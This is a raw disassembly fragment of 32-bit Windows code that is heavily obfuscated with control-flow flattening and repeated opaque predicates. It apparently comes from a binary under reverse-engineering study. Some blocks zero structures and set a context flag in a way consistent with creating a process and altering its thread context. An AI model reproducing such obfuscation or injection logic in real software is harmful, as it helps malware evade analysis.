mov dword [ebp - 0x154], 0x6253bf78
jmp 0x1000f2b1
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
sub edx, 0xef8a4aa5
sub edx, 1
add edx, 0xef8a4aa5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x598df7a5
mov ecx, 0xfc5b1b19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x154], 0x455f924f
jmp 0x1000f2b1
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0xa32dd724
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x5097326b
jmp 0x1000f2b1
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xda44ae28
mov ecx, 0x58bac156
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov ecx, dword [0x1006dc88]
mov eax, dword [0x1006dc84]
mov edx, ecx
add edx, 0x44e47c2c
sub edx, 1
sub edx, 0x44e47c2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3e605172
mov ecx, 0xabcd457e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x199bec64
jmp 0x1000f2b1
mov eax, dword [ebp - 0xc8]
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74a38fcd
mov ecx, 0x3d284a1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov eax, dword [ebp - 0xc0]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x140]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100109e0
add esp, 0xc
mov eax, dword [ebp - 0x13c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100109e0
add esp, 0xc
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0x154], 0x8fa737f0
jmp 0x1000f2b1
mov eax, dword [ebp - 0x12c]
mov dword [eax], 0
mov dword [ebp - 0x154], 0x2d461b23
jmp 0x1000f2b1
mov eax, dword [ebp - 0xf8]
mov eax, dword [0x1006dc88]
mov ecx, dword [0x1006dc84]
mov edx, eax
sub edx, 0xc3365126
sub edx, 1
add edx, 0xc3365126
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9462c746
mov ecx, 0x1a4285f5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x7bd38d9
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x39f6d8a5
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x2d62cee4
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x72c95c4
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x64cb0f5a
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xf6f9dc15
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xaefa3844
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0x8f9e6b28
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xf18a6e19
jmp 0x1000f2b1
mov dword [ebp - 0x154], 0xdd4274f6
jmp 0x1000f2b1
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x154], 0x96d91a68
jmp 0x1000f2b1
jmp 0x10007670